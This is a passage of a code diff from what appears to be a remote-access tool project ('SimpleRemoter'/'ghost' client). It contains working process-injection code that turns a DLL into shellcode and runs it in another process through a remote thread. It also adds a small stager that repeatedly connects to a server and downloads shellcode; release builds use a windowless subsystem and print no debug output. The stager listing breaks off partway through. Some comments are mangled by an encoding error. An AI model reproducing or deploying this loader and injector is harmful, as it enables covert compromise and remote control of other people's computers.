// Old system use IsWow64Process
if (IsWow64Process(hProcess, &bWow64))
{
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
return true;
}
}
return false;
}
// Check if it's able to inject.
HANDLE CheckProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed. PID: %d\n", pid);
return nullptr;
}
// Check process and system architecture.
BOOL targetIs64Bit = FALSE;
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
if (!success) {
Mprintf("Get architecture failed \n");
CloseHandle(hProcess);
return nullptr;
}
const BOOL selfIs64Bit = sizeof(void*) == 8;
if (selfIs64Bit != targetIs64Bit) {
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
CloseHandle(hProcess);
return nullptr;
}
return hProcess;
}
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
// Inject shell code to target process.
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
HANDLE hProcess = CheckProcess(pid);
if (!hProcess)
return false;
// Convert DLL -> Shell code.
LPBYTE shellcode = NULL;
int len = 0;
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
Mprintf("MakeShellcode failed \n");
CloseHandle(hProcess);
return false;
}
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
Mprintf("VirtualAllocEx failed \n");
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
Mprintf("WriteProcessMemory failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
delete[] shellcode;
return false;
}
delete[] shellcode;
// Shell code entry.
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
if (!hThread) {
Mprintf("CreateRemoteThread failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
WaitForSingleObject(hThread, INFINITE);
Mprintf("Finish injecting to PID: %d\n", pid);
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
};

View File

@@ -24,12 +24,6 @@
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#ifdef _DEBUG
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#else
#define Mprintf(format, ...)
#endif
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
#include "vld.h" #include "vld.h"
@@ -49,49 +43,6 @@
#include <MMSystem.h> #include <MMSystem.h>
#pragma comment(lib, "winmm.lib") #pragma comment(lib, "winmm.lib")
// <20>߾<EFBFBD><DFBE>ȵ<EFBFBD>˯<EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD>
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
// <20>Բ<EFBFBD><D4B2><EFBFBD>n<EFBFBD><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD>µȴ<C2B5>T<EFBFBD><54>(n<>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1000)
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>10ms)
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>1ms)
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
#include <time.h>
#include <stdio.h>
// <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ
class auto_tick
{
private:
const char *func;
int span;
clock_t tick;
__inline clock_t now() const { return clock(); }
__inline int time() const { return now() - tick; }
public:
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
~auto_tick() { stop(); }
__inline void stop() {
if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
}
};
#ifdef _DEBUG
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#define STOP_TICK TICK.stop()
#else
#define AUTO_TICK(thresh)
#define STOP_TICK
#endif
#ifndef SAFE_DELETE #ifndef SAFE_DELETE
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;} #define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
#endif #endif
@@ -100,27 +51,9 @@ public:
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} #define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif #endif
class CLock #ifndef SAFE_DELETE_AR
{ #define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
private: #endif
CRITICAL_SECTION m_cs;
public:
CLock()
{
InitializeCriticalSection(&m_cs);
}
~CLock()
{
DeleteCriticalSection(&m_cs);
}
void Unlock() #include "common/logger.h"
{ #include "common/locker.h"
LeaveCriticalSection(&m_cs);
}
void Lock()
{
EnterCriticalSection(&m_cs);
}
};

Binary file not shown.

View File

@@ -68,22 +68,22 @@
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir> <IntDir>$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir> <IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir> <IntDir>$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir> <IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup> </PropertyGroup>
@@ -154,6 +154,7 @@
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" /> <ClCompile Include="MemoryModule.c" />
<ClCompile Include="test.cpp" /> <ClCompile Include="test.cpp" />
</ItemGroup> </ItemGroup>

153
client/TinyRun.vcxproj Normal file
View File

@@ -0,0 +1,153 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{e3f3a477-05ba-431d-b002-28ef8bfa6e86}</ProjectGuid>
<RootNamespace>TinyRunner</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Configuration)\tiny</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Configuration)\tiny</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -71,22 +71,22 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir> <IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir> <IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir> <IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir> <IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -183,6 +183,8 @@
<ClCompile Include="KeyboardManager.cpp" /> <ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" /> <ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" /> <ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" /> <ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
@@ -196,12 +198,10 @@
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientDll.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
@@ -210,6 +210,8 @@
<ClInclude Include="KeyboardManager.h" /> <ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" /> <ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" /> <ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" /> <ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" /> <ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" /> <ClInclude Include="resource.h" />

190
client/main.c Normal file
View File

@@ -0,0 +1,190 @@
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <time.h>
#ifdef _DEBUG
#include <stdio.h>
#define Mprintf printf
#define IsRelease 0
#else
#define Mprintf(format, ...)
#define IsRelease 1
#endif
#pragma comment(lib, "ws2_32.lib")
#pragma pack(push, 1)
typedef struct PkgHeader {
char flag[8];
int totalLen;
int originLen;
} PkgHeader;
#pragma pack(pop)
PkgHeader MakePkgHeader(int originLen) {
PkgHeader header = { 0 };
memcpy(header.flag, "Hello?", 6);
header.originLen = originLen;
header.totalLen = sizeof(PkgHeader) + originLen;
return header;
}
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
{
struct sockaddr_in sa = {0};
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
strncpy(outIpBuffer, hostName, bufferSize - 1);
outIpBuffer[bufferSize - 1] = '\0';
return 0;
}
struct addrinfo hints = {0};
struct addrinfo* res = NULL;
hints.ai_family = AF_INET; // IPv4 only
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) {
return -1;
}
struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr;
if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) {
freeaddrinfo(res);
return -2;
}
freeaddrinfo(res);
return 0;
}
const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
if (!sIP || !sizeOut) return NULL;
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
return NULL;
char serverIP[INET_ADDRSTRLEN] = { 0 };
if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
Mprintf("Resolved IP: %s\n", serverIP);
} else {
Mprintf("Failed to resolve '%s'.\n", sIP);
WSACleanup();
return NULL;
}
const int bufSize = (8 * 1024 * 1024);
char* buffer = (char*)malloc(bufSize);
if (!buffer) {
WSACleanup();
return NULL;
}
BOOL isFirstConnect = TRUE;
int attemptCount = 0, requestCount = 0;
do {
if (!isFirstConnect)
Sleep(IsRelease ? 120 * 1000 : 5000);
isFirstConnect = FALSE;
Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort);
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (clientSocket == INVALID_SOCKET)
continue;
DWORD timeout = 30000;
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
struct sockaddr_in serverAddr = { 0 };
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(serverPort);
serverAddr.sin_addr.s_addr = inet_addr(serverIP);
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
continue;
}
char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease };
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
PkgHeader h = MakePkgHeader(sizeof(command));
memcpy(req, &h, sizeof(PkgHeader));
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
int bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
continue;
}
int totalReceived = 0;
if (requestCount < 3) {
requestCount++;
const int bufferSize = 16 * 1024;
time_t tm = time(NULL);
while (totalReceived < bufSize) {
int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived);
